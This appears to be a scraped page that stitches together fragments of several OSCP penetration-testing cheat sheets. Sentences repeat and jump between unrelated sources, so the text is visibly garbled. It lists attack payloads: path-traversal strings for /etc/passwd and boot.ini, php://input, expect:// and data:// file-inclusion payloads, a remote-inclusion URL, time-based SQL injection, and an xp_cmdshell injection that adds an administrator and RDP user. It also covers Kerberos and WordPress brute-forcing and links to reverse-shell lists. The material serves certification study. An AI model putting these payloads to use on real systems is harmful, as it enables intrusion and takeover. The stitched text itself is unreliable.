Hey Guys, in this post I am just going to copy paste my notes which I collected during my OSCP journey from different sources. CheatSheet (Short) slyth11907/Cheatsheets . For example, if we have a url that end with Reconnaissance & enumeration. Netwerk enum - Ports. Before we start looking for privilege escalation opportunities we need to understand a bit about the machine. Initial Access. Filter all open ports for nmap script scanning: Download: https://github.com/21y4d/nmapAutomator, Enumerate Using netcat. Now what? phpinfo(); ?>, http://x.x.x.x/blah?parameter=php://input, https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20inclusion#wrapper-data, GET /supersecret/admin.php?path=http://x.x.x.x/phpinfo.php%00, find / \( -wholename '/home/homedir*' -prune \) -o \( -type d -perm -0002 \) -exec ls -ld '{}' ';' 2>/dev/null | grep -v root, find / \( -wholename '/home/homedir/*' -prune -o -wholename '/proc/*' -prune \) -o \( -type f -perm -0002 \) -exec ls -l '{}' ';' 2>/dev/null. View code README.md OSCP. Enumeration is most important part. Just another OSCP cheat sheet. Check if you can upload a file to trigger a webshell through the webapp. and There are some ports open internally? Try Local Port Forwarding: No SSH Access but limited shell? It is written in Perl and is basically a wrapper around the Samba tools smbclient, rpclient, net and … Red Teaming Experiments. offensive-exploitation. #enum4linux -U 192.168.1.2 //-U will get userlist SMB null session is an unauthenticated netbios session between two computers. Misc. The aim of this cheat sheet is to give you a quick overview of possible attack vectors that can be used to elevate your privileges to system and is based on the mind map below. Not your standard OSCP guide. A quick checklist for possible attack vectors through the different ports 4 - File Transfer . File Inclusion; SQL Injection 0x01 - Introduction; SQL Injection 0x02 - Testing & UNION Attacks ; SQL Injection 0x03 - Blind Boolean Attacks; SQL Injection Cheatsheet; Active Directory. I would like to make my own cheatsheet for the exam. But this is basically the tools I tend to relie and use in this way the most. Send our malicious code using CURL or Burpsuite or even netcat: If found any parameters or input fields, we can try for command execution. Hackthebox machines and Vulnhub Machines. Wordpress scan. Helped during my OSCP lab days. The difference in this blog is that I have focused more on service level enumeration and privilege escalation.Cybersecurity folks especially penetration testers would know what is the OSCP challenge. I will not cover all the basics here as it may lead to a complete separate blog series. Nmap. Here are some of my notes I gathered while in the lab and for the exam preparation. It attempts to offer similar functionality to enum.exe formerly available from www.bindview.com. Since my OSCP certification exam is coming up, I decided to do a writeup of the commands and techniques I have most frequently used in the PWK labs and in similar machines. Discover valid usernames by brute force querying possible usernames against a Kerberos service (source: https://nmap.org/nsedoc/scripts/krb5-enum-users.html, nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='domain.local',userdb=/usr/share/wordlists/SecLists/Usernames/top_shortlist.txt x.x.x.x, wpscan --url http://x.x.x.x --wordlist /usr/share/wordlists/SecLists/Passwords/best1050.txt --username admin --threads 10, Use time delays to find injectable parameter, SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/. Powered by GitBook. Here is my OSCP cheatsheet that I’ve made for myself throughout the nightly lab sessions. … A starting point for different cheat sheets that may be of value can be found below: Privilege Escalation. Watch 0 Star 21 Fork 22 list of useful commands, shells and notes related to OSCP 21 stars 22 forks Star Watch Code; Pull requests 0; Actions; Projects 0; Security; Insights Dismiss Join GitHub today. Privilege escalation. But this is basically the tools I tend to relie and use in this way the most. NMAP. https://github.com/SecureAuthCorp/impacket/blob/master/examples/getArch.py​, Discover valid usernames by brute force querying possible usernames against a Kerberos service (source: https://nmap.org/nsedoc/scripts/krb5-enum-users.html), If the above works try to enable xp_cmdshell (source: http://pentestmonkey.net/blog/resurecting-xp_cmdshell), xp_cmdshell - add admin user and to RDP group, Wordlists: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI​, Just check: SQL Injection & XSS Playground. Good Luck and Try Harder - akenofu/OSCP-Cheat-Sheet Pivoting. Shells. Here are some of my notes I gathered while in the lab and for the exam preparation. Rooting Vulnerable Machines is extremely important when you are preparing for PWK/OSCP because you can’t depend on theoretical knowledge to pass. SMB enumeration: This is what you might come across pretty often. Stars. SMB null session is available for SMB1 systems only i.e 2000,xp,2003 Collections: Go-For-OSCP-Github HighOn.Coffee -Penetration Testing Tools Cheat Sheet Hausec.com -Pentesting Cheatsheet Hackingandsecurity -Go-For-OSCP OSCP-Password-Attacks Pentest-Tools… Target Specification Switch Example Description nmap 192.168.1.1 Scan a single IP nmap 192.168.1.1 192.168.2.1 Scan specific IPs nmap 192.168.1.1-254 Scan a range nmap scanme.nmap.org Scan a domain nmap 192.168.1.0/24 Scan using CIDR notation -iL nmap -iL targets.txt Scan targets from a file -iR nmap -iR 100 Scan 100 random hosts --exclude nmap - … TCP. It rather just a list of commands that I found them useful with a few notes on them. PowerView … personal; May 25, 2019; Here is my OSCP cheatsheet that I’ve made for myself throughout the … Error-bases DB enumeration If we manage to find an error-message after a broken sql-query, we can use that to try to map out the database structure. Have SSH access with low privileges? This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security. /ADD && net localgroup administrators hodor /ADD && net localgroup "Remote Desktop Users" hodor /ADD'; --, ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd, ../../../../../../../../../../etc/passwd%00, ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%2500, ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini, ../../../../../../../../../../boot.ini%00, ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%2500, ../../../../../../../../../../windows/system32/drivers/etc/hosts, ../../../../../../../../../../windows/system32/drivers/etc/hosts%00, ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/system32/drivers/etc/hosts, ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/system32/drivers/etc/hosts%2500, https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI, http://x.x.x.x/blah?parameter=expect://whoami, http://x.x.x.x/blah?parameter=data://text/plain;base64,PD8gcGhwaW5mbygpOyA/Pg==, # the base64 encoded payload is: //performs all basic enumeration using smb null session. It may look messy, I just use it to copy the command I needed easily. Searchsploit Cheat Sheet; Tools Allowed in OSCP; OSCP – Enumeration Cheatsheet & Guide; OSCP – Msfvenom All in One; RCE with log poisoning Attack Methodologies; Pivoting and SSH Port forwarding Basics -Part 1; Pivoting & Port forwarding methods – part2; Stack based Buffer-overflow Studying from various sources for Offensive-Security OSCP. Lateral movement. Post exploitation. #cheat sheet for OSCP. Without enumeration, we will have hard time to exploit the target. MISC. I used this cheat sheet during my exam (Fri, 13 Sep 2019) and during the labs. So, in this post I'll be sharing my notes as well as few important takeaways which I feel it will help every beginner just like me! Hacking/OSCP Cheatsheet Well, just finished my 90 days journey of OSCP labs, so now here is my cheatsheet of it (and of hacking itself), I will be adding stuff in an incremental way as I go having time and/or learning new stuff. CheatSheet (Short) OSCP/ Vulnhub Practice learning. There are two main websites for practice on vulnerable machines. LDAP and kerberos. Basic Linux & Windows Commands. Table of Contents. Main Tools. After posting this on Linkedin, I got tons of messages from people asking me about tips and what are my thoughts on OSCP exam. A Linux alternative to enum.exe for enumerating data from Windows and Samba hosts. NC commands. Enum, enum, enom, enomm, nom nomm! That being said - it is far from an exhaustive list. Good Luck and Try Harder . Since I cleared OSCP plenty of folks asked me how to clear OSCP, and although I briefly mentioned it in my OSCP Journey post, it was not the whole picture and also not very accessible, and so I’m writing this post.. Lateral movement. I have done enumeration with nmapautomator. Need to check everything carefully! I used this cheat sheet during my exam (Fri, 13 Sep 2019) and during the labs. This nc command can be very useful to check egress filtering -> see below Post Exploitation. If nothing work, Find different exploit! But no HTTP. Having cheat sheets can be invaluable. Use Wappalyzer to identify technologies, web server, OS, database server deployed. It had taken me 40 days to root all machines in each subnet of the lab environment and 19 hours to achieve 5/5 machines in the exam. Buffer overflow. LDAP. Edit Target address, Reverse connection ip and Ports. There is a bit of a love hate relationship with the lab however it is by far the best part of the course. Having cheat sheets can be invaluable. ... Meterpreter cheat sheet. Reconnaissance & enumeration. 196. Tips #1: Always read more writeups! Connecting to share without password(Anonymous login), Reference: https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server. Feel free to collaborate. Enumeration Network discoverie Nmap I tend to run 3 nmaps, … All finding should be noted for future reference. I can proudly say it helped me pass so I hope it can help you as well ! 21 - FTP. OSCP journey with Liodeus ! If it is an web form we can brute force in intruder and match grep. We need to enumerate for basic information before attempting to escalate privilege. ... 3 - Enumeration . This cheat sheet is of good reference to both seasoned penetration tester and also those who are just getting started in web application security. FTP (21/tcp) SSH (22/tcp) SMTP (25/tcp) DNS (53/tcp) RPC / NFS (111/tcp) S(a)MB(a) (139/tcp and 445/tcp) SNMP (161/udp) HTTP(S) (80/tcp, 443/tcp, 8000/tcp, 8080/tcp, 8443/tcp, …) Searchsploit; All-in-one; Exploitation. Drupal Enumeration. OSCP Goldmine (not clickbait) | 0xc0ffee☕ My OSCP Diary – Week 1 – Threat Week; GitHub – areyou1or0/OSCP: OSCP Overview: Enum4linux is a tool for enumerating information from Windows and Samba systems. Active Directory & Kerberos Abuse. Exploitation helper tools. SMB enumeration: This is what you might come across pretty often. SMB null session is available for SMB1 systems only i.e 2000,xp,2003 Created by potrace 1.11, written by Peter Selinger 2001-2013 John Tuyen. Reverse Lookup. Become A Software Engineer At Top Companies. I aimed for it to be a basic command reference, but in writing it it has grown out to be a bit more than that! linkedin. The aim of this cheat sheet is to give you a quick overview of possible attack vectors that can be used to elevate your privileges to system and is based on the mind map below. September 18th, 2020 Enumeration. OSCP Notes – Enumeration OSCP Notes – Metasploit OSCP Notes – Password attacks OSCP Notes – Pivoting OSCP Notes – Shell and Linux / UNIX OSCP Notes – Web Exploitation OSCP Notes – Windows. For example, if we have a url that end with Red Team Infrastructure . For each attack vector it explains how to detect whether a system is vulnerable and gives you an example on how to exploit it. This is for the people who are aiming to grow in the domain of Penetration testing. OSCP Study material. Also we should search for default credential online! Hacking/OSCP Cheatsheet Well, just finished my 90 days journey of OSCP labs, so now here is my cheatsheet of it (and of hacking itself), I will be adding stuff in an incremental way as I go having time and/or learning new stuff. About the SQL Injection Cheat Sheet . github. 6 - Exploitation . Error-bases DB enumeration If we manage to find an error-message after a broken sql-query, we can use that to try to map out the database structure. After getting shell, we may need to upload additional files or stable backdoor. TCP; UDP; FTP - 21. Cheat sheet series. PrivEsc - Linux. If you feel any important tips, tricks, commands or … Privilege Escalation in more than 10 HTB Box. This nc command can be very useful to check egress filtering -> see below, Is the target 32 or 64 bit? OSCP – Offensive security certified professional – Penetration testing with Kali Linux is a certification offered by offensive security. Also keep the public key in the same directory of private key. Just another OSCP cheat sheet. A Linux alternative to enum.exe for enumerating data from Windows and Samba hosts. I aimed for it to be a basic command reference, but in writing it it has grown out to be a bit more than that! This post will outline my experience obtaining OSCP along with some tips, commands, techniques and more. These payload copied from: https://github.com/payloadbox/sql-injection-payload-list, CheatSheet:MSSQL INJECTION: https://perspectiverisk.com/mssql-practical-injection-cheat-sheet/MYSQL INJECTION: https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/. Cheat Sheet How to pass the OSCP Offensive Security Certified Professional Exam Step-by-Step Guide- ENUMERATING SERVICES – PART 2 Standard Record Enumeration. Enumeration. Check if you can … Student Notes and Guides. This SQL injection cheat sheet was originally published in 2007 by Ferruh Mavituna on his blog. Tools. Found NFS and ProFtpd 1.3.5 is running. Enumeration is most important part. LDAP and kerberos. We have updated it and moved it over from our CEO's blog. OSCP. g0tmi1k - Basic Linux Privilege Escalation There are already a lot of good blogs available online for the same, so I would just wrap up the things with useful PowerView commands which can be used as a cheat-sheet while doing Red Team assessment or working in your OSCP Labs. Hackthebox machines and Vulnhub Machines. So i had to exploit it manually(https://www.exploit-db.com/exploits/36803): This way, I was able to successfully exploit the system without directly using any tools! This is considered one of the most challenging certifications in the field of cyber security. Hack OSCP - A n00bs Guide. Checks. Test Every parameters and input fields with these payload(Better to use burp suite intruder): Reference and more payload: https://github.com/payloadbox/command-injection-payload-list, If any login page found, should be tried to bypass password check. Here it is: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet. Powered by GitBook. May need to find out the hidden parameters. If you are looking for the cheat sheet and command reference I used for OSCP, please refer to this post. Introduction. Zone transfert; DNS brute force; FINGER - 79. README.md . Used for username Enumeration. DNS Enumeration. Priv Escalation. About the Author. This is my OSCP cheat sheet made by combining a lot of different resources online with a little bit of tweaking. NC commands. pwn script to … The exploitation step was: The network File system mounted but does not have any contents. Exploitation helper tools. 12/30/12 A nice OSCP cheat sheet | 7/12 Look for known vulnerable services (refer nmap/zenmap output) Check versions of software (by either snmp enumeration or nmap/zenmap) against or or Compile exploit code if possible (milw0rm archive) cd /pentest/exploits/milw0rm cat sploitlist.txt | grep -i [exploit] cat sploitlist.txt | grep -i [exploit] Some exploits may be written for compilation … Misc. I paused my part-time, as well as I started investing less time on HTB and more time on my OSCP labs. Useful for brute forcing. Just some oscp cheat sheet stuff that I customized for myself. Brute force; CVE-2008-0166; SSH backdoor - post exploitation; DNS - 53. Enumeration TCP nmap -p- -T4 -n IPmasscan -p0-65535 IP -n --rate 1000 -oL masscannmap -sC -sV IP -oA nmapnetdiscover -r IPnmap –script smb-check-vulns.nse –script-args=unsafe=1 -p445 IP UDP nmap -p- -sU IP -oA udpportsnmap -sU --top-ports 200 IP nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.1.200-254 Ports 21 FTP22 SSH25 SMTP53 Domain79 … If the above works try to enable xp_cmdshell (source: http://pentestmonkey.net/blog/resurecting-xp_cmdshell. General PowerShell AMSI Bypass. Additional Review: Subdomain Enumeration, DNSRecon, DNSenum options, Experimentation with Nmap Grep-able output, NMAP Cheat Sheet, Researching popular NSE scripts for Nmap. Check if it has any proxy related vulnerability. pwn script to bruteforce. Lab. If one method fail, another should be tested. Dynamic Port Forwarding from victim machine(Socks Proxy): With Dynamic Port Forwarding We can access/browse any ip range of the victim machine. We have updated it and moved it over from our CEO's blog. So, I directly jumped to the lab machines. Before we start looking for privilege escalation opportunities we need to understand a bit about the machine. Brute force; Downloading file; Uploading file ; SSH - 22. I believe finding vulnerability for the OSCP exam machine would be simple and easy. My OSCP notes. I used this cheat sheet during my exam (Fri, 13 Sep 2019) and during the labs. Three kind of search should be enough to find an working exploit. For example: Sometime we need to do password guessing(We should!). P3t3rp4rk3r / OSCP-cheat-sheet-1. File Inclusion: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20InclusionSQL Injection: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20InjectionCommand Injection: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection. Find subdomains using dnsrecon or dnsenum. Directory Traversal and (Local) File … Pinned. Forward Lookup brute force to find ip addres of host: Zone transfer and enumeration using Kali tools. Gaining access. Also some weird port is open? Without enumeration, we will have hard time to exploit the target. Overview: Enum4linux is a tool for enumerating information from Windows and Samba systems. I would like to make my own cheatsheet for the exam. Red Teaming Experiments. They contain security information like integrity level, privileges, groups and more. In this review, I am going to share my OSCP experience and the … The control … About the SQL Injection Cheat Sheet. PrivEsc - Windows. Privilege escalation. Hack OSCP; OSCP Journey; Ultimate Cheatsheet; Escaping Jailed Shells; Windows Privilege Escalation; Linux Privilege Escalation; Win 32-Bit Buffer Overflow; Web Exploitation. Now move to vulnerable machines. Studying from various sources for Offensive-Security OSCP. There are multiples infosec guys who has written blogs related to these machines for community. Searchsploit Cheat Sheet; Tools Allowed in OSCP; OSCP – Enumeration Cheatsheet & Guide; OSCP – Msfvenom All in One; RCE with log poisoning Attack Methodologies; Pivoting and SSH Port forwarding Basics -Part 1; Pivoting & Port forwarding methods – part2; Stack based Buffer-overflow. Was able to login as user admin and password admin. Updated December 6th, 2020 Since I recently completed my CRTP and CRTE exams, I decided to compile a list of my most-used techniques and commands for Microsoft Windows and Active Directory (post-)exploitation. Reconnaissance. That being said - it is far from an exhaustive list. Automatic … These list could be used to exploit weak password. Identify your strengths with a free online … I can proudly say it helped me pass so I hope it can help you as well ! Zone Transfer. Then I have navigated to Manage Jenkins>>Script Console and pasted this code for reverse connection: More Example: https://www.bytefellow.com/quick-initial-foothold-in-10-htb-machine/, Unable to negotiate with x.x.x.x … no matching key exchange method found, https://github.com/payloadbox/command-injection-payload-list, https://github.com/payloadbox/sql-injection-payload-list, https://perspectiverisk.com/mssql-practical-injection-cheat-sheet/, https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/, https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion, https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection, https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection, https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server, https://raw.githubusercontent.com/bytefellow/pentest/master/common-username, https://raw.githubusercontent.com/bytefellow/pentest/master/common-password, http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, https://www.exploit-db.com/exploits/36803, https://www.bytefellow.com/quick-initial-foothold-in-10-htb-machine/, Windows Privilege Escalation Cheatsheet for OSCP.
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